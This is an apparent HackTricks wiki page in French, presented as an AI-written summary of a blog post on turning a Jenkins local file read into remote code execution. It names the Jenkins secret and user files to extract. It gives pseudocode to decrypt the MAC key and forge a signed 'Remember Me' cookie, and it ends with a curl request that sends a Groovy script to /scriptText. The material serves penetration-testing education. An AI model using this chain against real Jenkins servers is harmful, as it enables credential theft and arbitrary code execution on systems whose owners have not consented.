Jenkins Arbitrary File Read to RCE via “Remember Me”
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Dans cet article de blog, il est possible de trouver un excellent moyen de transformer une vulnérabilité d’inclusion de fichier local dans Jenkins en RCE : https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/
Ceci est un résumé créé par IA de la partie de l’article où la création d’un cookie arbitraire est exploitée pour obtenir RCE en abusant d’une lecture de fichier local jusqu’à ce que j’ai le temps de créer un résumé moi-même :
Prérequis à l’attaque
- Exigence de fonctionnalité : “Se souvenir de moi” doit être activé (paramètre par défaut).
- Niveaux d’accès : L’attaquant a besoin de permissions Globales/Lecture.
- Accès secret : Capacité à lire à la fois le contenu binaire et textuel à partir de fichiers clés.
Processus d’exploitation détaillé
Étape 1 : Collecte de données
Récupération des informations utilisateur
- Accéder à la configuration utilisateur et aux secrets depuis
$JENKINS_HOME/users/*.xmlpour chaque utilisateur afin de rassembler : - Nom d’utilisateur
- Graine utilisateur
- Horodatage
- Hash du mot de passe
Extraction de la clé secrète
- Extraire les clés cryptographiques utilisées pour signer le cookie :
- Clé secrète :
$JENKINS_HOME/secret.key - Clé maître :
$JENKINS_HOME/secrets/master.key - Fichier de clé MAC :
$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac
Étape 2 : Forging de cookie
Préparation du token
- Calculer le temps d’expiration du token :
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Ajoute une heure au temps actuel
- Concaténer les données pour le token :
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
Déchiffrement de la clé MAC
- Déchiffrer le fichier de clé MAC :
key = toAes128Key(masterKey) // Convertir la clé maître en format de clé AES128
decrypted = AES.decrypt(macFile, key) // Déchiffrer le fichier .mac
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
Calcul de la signature
- Calculer HMAC SHA256 :
mac = HmacSHA256(token, macKey) // Calculer HMAC en utilisant le token et la clé MAC
tokenSignature = bytesToHexString(mac) // Convertir la MAC en chaîne hexadécimale
Encodage du cookie
- Générer le cookie final :
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Encoder en base64 les données du cookie
Étape 3 : Exécution de code
Authentification de session
- Récupérer les tokens CSRF et de session :
- Faire une requête à
/crumbIssuer/api/jsonpour obtenirJenkins-Crumb. - Capturer
JSESSIONIDde la réponse, qui sera utilisé en conjonction avec le cookie “se souvenir de moi”.
Requête d’exécution de commande
- Envoyer une requête POST avec un script Groovy :
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
- Le script Groovy peut être utilisé pour exécuter des commandes au niveau système ou d’autres opérations dans l’environnement Jenkins.
L’exemple de commande curl fourni démontre comment faire une requête à Jenkins avec les en-têtes et cookies nécessaires pour exécuter du code arbitraire en toute sécurité.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

